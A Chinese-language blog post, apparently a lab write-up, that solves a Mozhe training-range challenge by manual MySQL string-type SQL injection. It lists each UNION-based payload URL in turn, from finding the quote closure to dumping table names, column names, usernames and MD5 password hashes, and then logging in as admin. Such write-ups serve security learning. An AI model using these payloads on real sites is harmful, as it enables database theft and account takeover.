WEB安全-SQL手工注入漏洞測試(MySQL資料庫-字元型 )
阿新 • • 發佈:2021-11-18
前言
目前鑽研SQLi注入,這是第二篇,靶場名即為標題,連結如下
https://www.mozhe.cn/bug/detail/dE1HSW5yYThxUHcyUTZab2pTcmpGUT09bW96aGUmozhe
對於靶場,我慢慢的會帶入一些自己的想法,可能有些有問題,請各位師傅可以指出
正文
首先檢視一下題目的提示資訊
進入後檢視頁面,發現和上一次寫的一樣
點進公告,發現和之前一樣
對URL進行除錯,首先先檢視閉合,發現是單引號閉合,這裡由於火狐會自動編碼,所以%23即註釋符#
?id=tingjigonggao' %23
之後考慮有多少列,通過二分法發現最大正常位是4
?id=tingjigonggao' union order by 4 %23
檢視報錯位,發現是2和3報錯
?id=tingjigonggao123' union select 1,2,3,4 %23
之後就是流程化的獲取資料,先獲取資料庫資訊為 mozhe_discuz_stormgroup
?id=tingjigonggao123' union select 1,database(),3,4 %23
獲取表的資訊為 notice 、stormgroup_member
?id=tingjigonggao123' union select 1,database(),(select table_name from information_schema.tables where table_schema=database() limit 0,1),4%23
這裡還有一種方式就是通過group_concat()函式拉取表資料,使其在同一行打印出來,逗號分隔,但是試了一下好像一直報錯,先貼出來
?id=tingjigonggao123' union select 1,database(),(group_concat(table_name) from information_schema.tables where table_schema=database()),4 %23
猜測應該是在stormgroup_member 表裡,拉取列資料為 id name password status ,和之前的一樣,
?id=tingjigonggao123' union select 1,database(),(select column_name from information_schema.columns where table_name="stormgroup_member" limit 0,1),4 %23
之後獲取name和password,name兩個都是mozhe,password為 356f589a7df439f6f744ff19bb8092c0 和 ec2e79576066191cf88df175e0038735
?id=tingjigonggao123' union select 1,database(),(select name from mozhe_discuz_stormgroup.stormgroup_member limit 0,1),4 %23
?id=tingjigonggao123' union select 1,database(),(select password from mozhe_discuz_stormgroup.stormgroup_member limit 0,1),4 %23
md5解密後,獲取密碼為 194347,登入後臺獲取key
總結
其實這些SQLi題目都可以用sqlmap跑出來,但是為了鞏固手工注入的能力,在此不做演示,具體參照上一篇布林盲注
一些需要的小知識:
information_schema的介紹:
information_schema:MySQL自帶的資料庫,儲存了資料庫中所有的資料庫、表和列資訊
information_schema.tables:所有表資訊
information_schema.columns:所有列資訊
table_schema:資料庫名稱
table_name:表名稱
column_name:列名稱
group_concat(table_name):列出所有表名